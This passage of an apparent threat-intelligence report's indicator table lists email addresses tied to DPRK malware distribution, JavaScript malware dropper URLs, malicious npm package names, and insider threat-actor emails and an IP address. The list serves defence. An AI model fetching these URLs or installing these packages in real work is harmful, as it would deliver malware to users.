Review</td></tr><tr><td align="left"><code className="">tomgleeson92@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">huqyyitizomu@hotmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">tracykevin5590@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">seniorsky92@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">meftaht531@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">tapiasamjann@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">johnwatson2327a@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">donald.edler0626@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">chrisritter5272@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">hs8179189@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">dredsoft@proton.me</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">bloxdev1999@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">star712418@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">July 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">jackson.murray.tf7@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">June 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">hudsonramsey107@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">June 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">samjanntapia@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">June 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">dyup58725@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">June 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">davidfernandez420@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">May 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">scottdavis8188@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">May 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">samjannt1211@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">April 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">ahmed03010229@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">April 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">hidranomagica@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">March 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">jackson.blau.eth@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">February 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">agne09541@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">February 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">antontarasiuk0512@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">February 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">michael.dilks8500@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">January 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">ignacioquesada127@gmail.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">January 2025</td><td align="left">DPRK malware distributor GitLab.com account</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://chainlink-api-v3.cloud/api/service/token/3ae1d04a7c1a35b9edf045a7d131c4a7</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://chainlink-api-v3.cloud/api/service/token/792a2e10b9eaf9f0a73a71916e4269bc</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://chainlink-api-v3.com/api/service/token/1a049de15ad9d038a35f0e8b162dff76</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://chainlink-api-v3.com/api/service/token/7d6c3b0f7d1f3ae96e1d116cbeff2875</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://chainlink-api-v3.com/api/service/token/b2040f01294c183945fdbe487022cf8e</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://openmodules.org/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">http://w3capi.marketing/api/v2/node/d6a8d0d14d3fbb3d5e66c8b007b7a2eb</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api-server-mocha.vercel.app/api/ipcheck-encrypted/106</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api-server-mocha.vercel.app/api/ipcheck-encrypted/212</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api-server-mocha.vercel.app/api/ipcheck-encrypted/81</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api-server-mocha.vercel.app/api/ipcheck-encrypted/823</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api-server-mocha.vercel.app/api/ipcheck-encrypted/99</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.mocki.io/v2/8sg8bhsv/tracks/errors/665232</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/159a15993f79c22e8ff6</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/62755a9b33836b5a6c28</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/b1f111907933b88418e4</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/b68a5c259541ec53bb5d</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/c82d987dd2a0fb62e87f</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/d1ef256fc2ad6213726e</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/d4dfbbac8d7c44470beb</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/e6a6bfb97a294115677d</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/f4be0f7713a6fcdaac8b</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://api.npoint.io/f96fb4e8596bf650539c</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://astraluck-vercel.vercel.app/api/data</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://bs-production.up.railway.app/on</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://getApilatency.onrender.com/checkStatus</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://getpngdata.vercel.app/api/data</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://googlezauthtoken.vercel.app/checkStatus?id=S,T</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://ip-api-test.vercel.app/api/ip-check-encrypted/3aeb34a38</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://ip-check-server.vercel.app/api/ip-check-encrypted/3aeb34a37</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/4NAKK</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/8RLOV</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/CNMYL</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/DMVPT</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/E4YPZ</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/E7GKK</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/FM8D6</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/GLGT4</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/L4T7Y</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/PCDZO</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/PQPTZ</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/WCXNT</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/XRGF3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jsonkeeper.com/b/XV3WO</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://jwt-alpha-woad.vercel.app/api</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://metric-analytics.vercel.app/api/getMoralisData</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://pngconvert-p0kl4fodi-jhones-projects-f8ddbcbe.vercel.app/api</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/linux?flag=3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/linux?flag=5</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/linux?flag=8</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/mac?flag=3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/mac?flag=5</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/mac?flag=8</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/windows?flag=3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/windows?flag=5</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/windows?flag=5</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-config-settings.vercel.app/settings/windows?flag=8</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load-config.vercel.app/settings/linux?flag=3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load-config.vercel.app/settings/mac?flag=3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load-config.vercel.app/settings/windows?flag=3</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load.vercel.app/settings/linux?flag=2</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load.vercel.app/settings/linux?flag=4</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load.vercel.app/settings/linux?flag=9</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load.vercel.app/settings/mac?flag=2</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load.vercel.app/settings/mac?flag=4</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load.vercel.app/settings/mac?flag=9</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load.vercel.app/settings/windows?flag=2</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load.vercel.app/settings/windows?flag=4</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://vscode-load.vercel.app/settings/windows?flag=9</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://web3-metric-analytics.vercel.app/api/getMoralisData</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">https://zone-api-navy.vercel.app/api/ip-check/99</code></td><td align="left">url</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">JavaScript malware dropper URL</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">passport-google-auth-token</code></td><td align="left">npm package</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Malicious NPM dependency used to deliver malware</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">dotenv-extend</code></td><td align="left">npm package</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Malicious NPM dependency used to deliver malware</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">tailwindcss-animation-advanced</code></td><td align="left">npm package</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Malicious NPM dependency used to deliver malware</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">seeds-random</code></td><td align="left">npm package</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Malicious NPM dependency used to deliver malware</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">chai-jsons</code></td><td align="left">npm package</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Malicious NPM dependency used to deliver malware</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">dotenv-intend</code></td><td align="left">npm package</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Malicious NPM dependency used to deliver malware</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">preset-log</code></td><td align="left">npm package</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Malicious NPM dependency used to deliver malware</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">111.197.183.74</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">October 2025</td><td align="left">October 2025</td><td align="left">Originating IP address of Kil-Nam Kang</td><td align="left">1</td></tr><tr><td align="left"><code className="">alancdouglas@googlemail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">alphatech1010@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">amitnyc007@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">anniegirl2023@163.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">appyleonardo77@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">awmango123@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">bowavelink@163.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">cpduran0622@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">docker1001@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">elvialc620@163.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">emilyvanessaaa@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">enrique122528@hotmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">erasmusmadridtrops@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">ericdoublin1111@yahoo.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">eruqulpuaro@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">eruqulpuaro@hotmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">eruqulpuaro1@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">eruqulpuaro1@hotmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">fangshan2019@hotmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">goldstar0906@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">gtracks.onelink@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">happycoder1111@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">happyleonardo77@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">hittapa9@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor-controlled email</td><td align="left">1</td></tr><tr><td align="left"><code className="">housinginmadrid@gmail.com</code></td><td 